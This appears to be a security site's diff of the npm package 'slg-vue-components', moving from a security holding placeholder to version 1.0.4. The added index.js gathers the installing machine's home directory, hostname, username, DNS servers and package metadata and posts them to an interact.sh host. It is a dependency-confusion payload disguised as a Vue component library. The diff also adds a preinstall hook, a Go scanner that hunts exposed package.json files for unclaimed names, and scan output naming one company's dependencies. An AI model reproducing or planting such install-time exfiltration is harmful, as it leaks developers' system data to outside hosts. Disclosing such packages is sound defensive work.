slg-vue-components 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of slg-vue-components might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2021 Nenad Popovic
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,48 @@
1
- # Security holding package
1
+ libsnitch
2
+ ---------
3
+ Find broken npm dependencies from exposed package.json
2
4
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
5
+ ### Example usage
6
+ ```
7
+ ➜ go run libsnitch.go -df domains-500.txt -p 100 -npmd 0.4 -o output.txt
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=slg-vue-components for more information.
9
+ _ _ ___ ____ _ _ _ ___ ____ _ _
10
+ | | |__] l__ |\ | | | | |__|
11
+ l___ | |__] ___] | \| | | l___ | |
12
+
13
+
14
+ 200 localhost:5000 grunt (dependencies)
15
+ 200 www.managingmadrid.com grunt-contrib-watch (devDependencies)
16
+ 200 www.seqwater.com.au cypress (devDependencies)
17
+ ...
18
+ 404 localhost:5000 dead-dependency-123 (devDependencies)
19
+ 200 www.ridiculousupside.com grunt-stripmq (devDependencies)
20
+
21
+
22
+ ‣ Succeeded in 16.380843107s
23
+ ‣ targets scanned 500
24
+ ‣ exposed package.json 4
25
+ ‣ tested npm dependencies 14
26
+ ‣ Found 1 broken dependency.
27
+ ```
28
+ **output.txt**
29
+ ```
30
+ 200 http://localhost:5000/package.json grunt dependencies
31
+ 200 http://localhost:5000/package.json grunt-contrib-watch devDependencies
32
+ 200 https://www.ridiculousupside.com/package.json grunt-newer devDependencies
33
+ 200 https://www.managingmadrid.com/package.json grunt-contrib-jshint devDependencies
34
+ 200 https://www.managingmadrid.com/package.json grunt-contrib-watch devDependencies
35
+ ...
36
+ ```
37
+
38
+ ### Arguments
39
+
40
+ | arg | type | Description |
41
+ | --- | ---- | ----------- |
42
+ | `-d` | string | Target domain |
43
+ | `-df` | string | Input file path |
44
+ | `-p` | int | Parallelism (default 50)|
45
+ | `-npmd` | float | Delay seconds between requests to [npmjs.com](https://www.npmjs.com/) (default 0) |
46
+ | `-t` | int | Request timeout in seconds (default 10) |
47
+ | `-s` | bool | Simple CLI |
48
+ | `-o` | string | Output file path |
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "caqggsk2vtc0000azam0gfmaepyyyyyyb.interact.sh", //replace burpcollaborator.net with Interactsh or pipedream
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/libsnitch.go ADDED
@@ -0,0 +1,336 @@
1
+ package main
2
+
3
+ import (
4
+ "bufio"
5
+ "encoding/json"
6
+ "flag"
7
+ "fmt"
8
+ "math/rand"
9
+ "net/http"
10
+ "net/url"
11
+ "os"
12
+ "strings"
13
+ "sync"
14
+ "time"
15
+ )
16
+
17
+ var banner = `
18
+ _ _ ___ ` + BannerColor + ` ____ _ _ _ ___ ____ _ _ ` + RstColor + `
19
+ | | |__]` + BannerColor + ` l__ |\ | | | | |__| ` + RstColor + `
20
+ l___ | |__]` + BannerColor + ` ___] | \| | | l___ | | ` + RstColor
21
+
22
+ const (
23
+ Red = "\033[31;1m"
24
+ Green = "\033[32;1m"
25
+ RstColor = "\033[0m"
26
+ BannerColor = Red
27
+ )
28
+
29
+ // Dependency Manager
30
+
31
+ type DependencyManager struct {
32
+ techName string
33
+ mu sync.Mutex
34
+ dependencyLocks map[string]*sync.Mutex
35
+ dependencyData map[string]int
36
+ totalDependencies int
37
+ brokenDependencies int
38
+ }
39
+
40
+ func InitDependencyManager(techName string) *DependencyManager {
41
+ return &DependencyManager{
42
+ techName: techName,
43
+ dependencyLocks: make(map[string]*sync.Mutex),
44
+ dependencyData: make(map[string]int),
45
+ totalDependencies: 0,
46
+ brokenDependencies: 0,
47
+ }
48
+ }
49
+
50
+ func (dm *DependencyManager) GetMutex(packageName string) *sync.Mutex {
51
+ dm.mu.Lock()
52
+ defer dm.mu.Unlock()
53
+ if mutex, found := dm.dependencyLocks[packageName]; found {
54
+ return mutex
55
+ } else {
56
+ dm.dependencyLocks[packageName] = &sync.Mutex{}
57
+ return dm.dependencyLocks[packageName]
58
+ }
59
+ }
60
+
61
+ func (dm *DependencyManager) GetPackageInfo(packageName string) (int, bool) {
62
+ dm.mu.Lock()
63
+ defer dm.mu.Unlock()
64
+ status, found := dm.dependencyData[packageName]
65
+ return status, found
66
+ }
67
+
68
+ func (dm *DependencyManager) SetPackageInfo(packageName string, status int) {
69
+ dm.mu.Lock()
70
+ defer dm.mu.Unlock()
71
+ dm.totalDependencies += 1
72
+ if status != 200 {
73
+ dm.brokenDependencies += 1
74
+ }
75
+ dm.dependencyData[packageName] = status
76
+ }
77
+
78
+ // Statistics
79
+
80
+ type Stats struct {
81
+ mu sync.Mutex
82
+ totalTargets int
83
+ packageJsonParsed int
84
+ }
85
+
86
+ func InitStats() *Stats {
87
+ return &Stats {
88
+ totalTargets: 0,
89
+ packageJsonParsed: 0,
90
+ }
91
+ }
92
+
93
+ func (s *Stats) IncTotalTargets() {
94
+ s.mu.Lock()
95
+ defer s.mu.Unlock()
96
+ s.totalTargets += 1
97
+ }
98
+
99
+ func (s *Stats) IncPackageJsonParsed() {
100
+ s.mu.Lock()
101
+ defer s.mu.Unlock()
102
+ s.packageJsonParsed += 1
103
+ }
104
+
105
+ // Variables
106
+
107
+ var userAgents = []string {
108
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
109
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
110
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
111
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
112
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:85.0) Gecko/20100101 Firefox/85.0",
113
+ "Mozilla/5.0 (X11; Linux i686; rv:85.0) Gecko/20100101 Firefox/85.0",
114
+ "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/85.0",
115
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.77 Mobile/15E148 Safari/604.1",
116
+ "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36",
117
+ }
118
+
119
+ var stats *Stats
120
+ var nodeManager *DependencyManager
121
+ var mu sync.Mutex
122
+ var wg sync.WaitGroup
123
+ var parallelism *int
124
+ var npmDelay *float64
125
+ var timeout time.Duration
126
+ var simpleCli *bool
127
+ var outputFilePath *string
128
+ var targetDomains [] string
129
+ var activeThreads chan interface{}
130
+ var npmMutex sync.Mutex
131
+ var outputMutex sync.Mutex
132
+
133
+ func printStats(elapsedTime time.Duration) {
134
+ fmt.Println()
135
+ fmt.Printf("‣ Succeeded in %s \n", elapsedTime.String())
136
+ fmt.Printf("‣ targets scanned %d\n", stats.totalTargets)
137
+ fmt.Printf("‣ exposed package.json %d\n", stats.packageJsonParsed)
138
+ fmt.Printf("‣ tested npm dependencies %d\n", nodeManager.totalDependencies)
139
+ if nodeManager.brokenDependencies == 1 {
140
+ fmt.Printf("‣ Found %d broken dependency. \n", nodeManager.brokenDependencies)
141
+ } else {
142
+ fmt.Printf("‣ Found %d broken dependencies. \n", nodeManager.brokenDependencies)
143
+ }
144
+ fmt.Println(RstColor)
145
+ }
146
+
147
+ func writeResult(line, outputFile string) {
148
+ outputMutex.Lock()
149
+ defer outputMutex.Unlock()
150
+ file, _ := os.OpenFile(outputFile, os.O_APPEND|os.O_WRONLY, 0600)
151
+ defer file.Close()
152
+ writer := bufio.NewWriter(file)
153
+ _, _ = fmt.Fprintln(writer, line)
154
+ _ = writer.Flush()
155
+ }
156
+
157
+ func handleResult(targetUrl, packageName, dependencyType string, status int){
158
+ mu.Lock()
159
+ defer mu.Unlock()
160
+ parsedUrl, _ := url.Parse(targetUrl)
161
+ resultLine := fmt.Sprintf("%d\t%s\t%s\t%s", status, targetUrl, packageName, dependencyType)
162
+ if *simpleCli {
163
+ fmt.Println(resultLine)
164
+ } else {
165
+ if status == 200 {
166
+ fmt.Printf("%s%d%s\t%s \t%s (%s)\n", Green, status, RstColor, parsedUrl.Host, packageName, dependencyType)
167
+ } else {
168
+ fmt.Printf("%s%d\t%s \t%s (%s)%s\n", Red, status, parsedUrl.Host, packageName, dependencyType, RstColor)
169
+ }
170
+ }
171
+ if *outputFilePath != "" {
172
+ writeResult(resultLine, *outputFilePath)
173
+ }
174
+
175
+ }
176
+
177
+ func handleError(url, msg string) {
178
+ mu.Lock()
179
+ defer mu.Unlock()
180
+ fmt.Println(url, Red, "Error", msg, RstColor)
181
+ }
182
+
183
+ func testNpmDependency(targetUrl, packageName, dependencyType string) {
184
+ nodeManager.GetMutex(packageName).Lock()
185
+ defer nodeManager.GetMutex(packageName).Unlock()
186
+ if statusCode, found := nodeManager.GetPackageInfo(packageName); found {
187
+ handleResult(targetUrl, packageName, dependencyType, statusCode)
188
+ return
189
+ }
190
+ activeThreads <- struct{}{}
191
+ defer func(){ <- activeThreads }()
192
+
193
+ // Delay requests
194
+ if *npmDelay > 0.0 {
195
+ npmMutex.Lock()
196
+ defer npmMutex.Unlock()
197
+ time.Sleep(time.Duration(*npmDelay*1000) * time.Millisecond)
198
+ }
199
+
200
+ request, reqErr := http.NewRequest("GET", "https://www.npmjs.com/package/" + packageName, nil)
201
+ if reqErr != nil {
202
+ return
203
+ }
204
+ request.Header.Set("User-Agent", getRandomUserAgent())
205
+ client := &http.Client{Timeout: timeout}
206
+ response, respError := client.Do(request)
207
+ if respError != nil || response == nil {
208
+ return
209
+ }
210
+ nodeManager.SetPackageInfo(packageName, response.StatusCode)
211
+ handleResult(targetUrl, packageName, dependencyType, response.StatusCode)
212
+ }
213
+
214
+ func snitchNodeJs(targetUrl string) {
215
+ activeThreads <- struct{}{}
216
+ defer func(){ <- activeThreads }()
217
+ defer wg.Done()
218
+
219
+ stats.IncTotalTargets()
220
+ u, _ := url.Parse(targetUrl)
221
+ targetUrl = fmt.Sprintf("%s://%s/package.json", u.Scheme, u.Host)
222
+ client := &http.Client{
223
+ Timeout: timeout,
224
+ CheckRedirect: func(req *http.Request, via []*http.Request) error {
225
+ return http.ErrUseLastResponse
226
+ },
227
+ }
228
+ request, reqErr := http.NewRequest("GET", targetUrl, nil)
229
+ if reqErr != nil {
230
+ handleError(targetUrl, reqErr.Error())
231
+ return
232
+ }
233
+ request.Header.Set("User-Agent", getRandomUserAgent())
234
+ response, err := client.Do(request)
235
+ if err != nil || response == nil || response.StatusCode != 200 ||
236
+ !strings.Contains(response.Header.Get("Content-Type"), "application/json") {
237
+ return
238
+ }
239
+ defer response.Body.Close()
240
+ packageJson := make(map[string]interface{})
241
+ decodeErr := json.NewDecoder(response.Body).Decode(&packageJson)
242
+ if decodeErr != nil {
243
+ handleError(targetUrl, "c")
244
+ return
245
+ }
246
+ stats.IncPackageJsonParsed()
247
+ for key := range packageJson {
248
+ if strings.Contains(strings.ToLower(key), "dependencies") {
249
+ dependencyMap, ok := packageJson[key].(map[string]interface{})
250
+ if ok {
251
+ for packageName := range dependencyMap {
252
+ testNpmDependency(targetUrl, packageName, key)
253
+ }
254
+ }
255
+ }
256
+ }
257
+ }
258
+
259
+ func abort(msg string, code int) {
260
+ fmt.Println("Error:", msg)
261
+ os.Exit(code)
262
+ }
263
+
264
+ func getRandomUserAgent() string {
265
+ rand.Seed(time.Now().UnixNano())
266
+ return userAgents[rand.Intn(len(userAgents))]
267
+ }
268
+
269
+ func readInputFile(path string) []string {
270
+ file, err := os.Open(path)
271
+ if err != nil {
272
+ abort(err.Error(), 1)
273
+ }
274
+ defer file.Close()
275
+
276
+ var lines []string
277
+ scanner := bufio.NewScanner(file)
278
+ for scanner.Scan() {
279
+ lines = append(lines, scanner.Text())
280
+ }
281
+ if scanner.Err() != nil { abort(scanner.Err().Error(), 1)}
282
+ return lines
283
+ }
284
+
285
+ func main(){
286
+ var targetDomain = flag.String("d", "", "Target domain")
287
+ var inputFilePath = flag.String("df", "","Input file path")
288
+ parallelism = flag.Int("p", 50, "Parallelism")
289
+ argTimeout := flag.Int("t", 10, "Request timeout in seconds.")
290
+ npmDelay = flag.Float64("npmd", 0.0, "Delay seconds between requests to npmjs.com")
291
+ simpleCli = flag.Bool("s", false, "Simple CLI (default: false)")
292
+ outputFilePath = flag.String("o", "","Output file path")
293
+ flag.Parse()
294
+ timeout = time.Duration(*argTimeout) * time.Second
295
+ activeThreads = make(chan interface{}, *parallelism)
296
+ stats = InitStats()
297
+ nodeManager = InitDependencyManager("Node")
298
+
299
+ // Prepare target domain list
300
+ if *targetDomain != "" {
301
+ targetDomains = []string{*targetDomain}
302
+ } else {
303
+ if *inputFilePath == "" {
304
+ fmt.Println()
305
+ flag.PrintDefaults()
306
+ fmt.Println()
307
+ abort("Must specify target domain or input file path.", 1)
308
+ }
309
+ targetDomains = readInputFile(*inputFilePath)
310
+ }
311
+
312
+ // Try creating output file if provided path
313
+ if *outputFilePath != "" {
314
+ _, err := os.Create(*outputFilePath)
315
+ if err != nil {
316
+ abort(err.Error(), 1)
317
+ }
318
+ }
319
+
320
+ if !*simpleCli {
321
+ fmt.Println(banner)
322
+ fmt.Println()
323
+ }
324
+
325
+ start := time.Now()
326
+ for _, domain := range targetDomains {
327
+ wg.Add(1)
328
+ go snitchNodeJs(domain)
329
+ }
330
+ wg.Wait()
331
+ elapsed := time.Since(start)
332
+
333
+ if !*simpleCli {
334
+ printStats(elapsed)
335
+ }
336
+ }
package/output.txt ADDED
@@ -0,0 +1,52 @@
1
+ 200 https://admin-event-prod.superleague.com/package.json @vue/cli-service dependencies
2
+ 200 https://admin-event-prod.superleague.com/package.json currency-symbol-map dependencies
3
+ 200 https://admin-event-prod.superleague.com/package.json eslint-config-google dependencies
4
+ 200 https://admin-event-prod.superleague.com/package.json eslint-plugin-vue dependencies
5
+ 200 https://admin-event-prod.superleague.com/package.json sass-loader dependencies
6
+ 200 https://admin-event-prod.superleague.com/package.json @vue/cli-plugin-babel dependencies
7
+ 200 https://admin-event-prod.superleague.com/package.json babel-eslint dependencies
8
+ 200 https://admin-event-prod.superleague.com/package.json express dependencies
9
+ 200 https://admin-event-prod.superleague.com/package.json jsonwebtoken dependencies
10
+ 200 https://admin-event-prod.superleague.com/package.json mammoth dependencies
11
+ 200 https://admin-event-prod.superleague.com/package.json vue-analytics dependencies
12
+ 200 https://admin-event-prod.superleague.com/package.json moment-timezone dependencies
13
+ 200 https://admin-event-prod.superleague.com/package.json vue-plyr dependencies
14
+ 200 https://admin-event-prod.superleague.com/package.json @kazupon/vue-i18n-loader dependencies
15
+ 200 https://admin-event-prod.superleague.com/package.json @nymdev/health-check dependencies
16
+ 200 https://admin-event-prod.superleague.com/package.json @vue/cli-plugin-unit-jest dependencies
17
+ 200 https://admin-event-prod.superleague.com/package.json cypress dependencies
18
+ 200 https://admin-event-prod.superleague.com/package.json jest dependencies
19
+ 200 https://admin-event-prod.superleague.com/package.json moment dependencies
20
+ 200 https://admin-event-prod.superleague.com/package.json vue-template-compiler dependencies
21
+ 200 https://admin-event-prod.superleague.com/package.json vuetify-loader dependencies
22
+ 200 https://admin-event-prod.superleague.com/package.json vue-router dependencies
23
+ 200 https://admin-event-prod.superleague.com/package.json vue-router-middleware dependencies
24
+ 429 https://admin-event-prod.superleague.com/package.json @vue/test-utils dependencies
25
+ 429 https://admin-event-prod.superleague.com/package.json aws-sdk dependencies
26
+ 429 https://admin-event-prod.superleague.com/package.json axios dependencies
27
+ 429 https://admin-event-prod.superleague.com/package.json config dependencies
28
+ 429 https://admin-event-prod.superleague.com/package.json eslint dependencies
29
+ 429 https://admin-event-prod.superleague.com/package.json vue-cli-plugin-i18n dependencies
30
+ 429 https://admin-event-prod.superleague.com/package.json vue2-dropzone dependencies
31
+ 429 https://admin-event-prod.superleague.com/package.json babel-jest dependencies
32
+ 429 https://admin-event-prod.superleague.com/package.json slugify dependencies
33
+ 429 https://admin-event-prod.superleague.com/package.json vue dependencies
34
+ 429 https://admin-event-prod.superleague.com/package.json vuex-persistedstate dependencies
35
+ 429 https://admin-event-prod.superleague.com/package.json vue-cli-plugin-vuetify dependencies
36
+ 429 https://admin-event-prod.superleague.com/package.json vue-i18n dependencies
37
+ 429 https://admin-event-prod.superleague.com/package.json babel-core dependencies
38
+ 429 https://admin-event-prod.superleague.com/package.json babel-plugin-require-context-polyfill dependencies
39
+ 429 https://admin-event-prod.superleague.com/package.json connect-history-api-fallback dependencies
40
+ 429 https://admin-event-prod.superleague.com/package.json npm-run-all dependencies
41
+ 429 https://admin-event-prod.superleague.com/package.json sass dependencies
42
+ 429 https://admin-event-prod.superleague.com/package.json slg-shared-utils dependencies
43
+ 429 https://admin-event-prod.superleague.com/package.json vuetify dependencies
44
+ 429 https://admin-event-prod.superleague.com/package.json vuex dependencies
45
+ 429 https://admin-event-prod.superleague.com/package.json lodash dependencies
46
+ 200 https://admin-event-prod.superleague.com/package.json node-sass dependencies
47
+ 200 https://admin-event-prod.superleague.com/package.json vue-the-mask dependencies
48
+ 200 https://admin-event-prod.superleague.com/package.json @auth0/auth0-spa-js dependencies
49
+ 200 https://admin-event-prod.superleague.com/package.json @vue/cli-plugin-eslint dependencies
50
+ 200 https://admin-event-prod.superleague.com/package.json marked dependencies
51
+ 200 https://admin-event-prod.superleague.com/package.json path dependencies
52
+ 200 https://admin-event-prod.superleague.com/package.json slg-vue-components dependencies
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "slg-vue-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "whoami"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }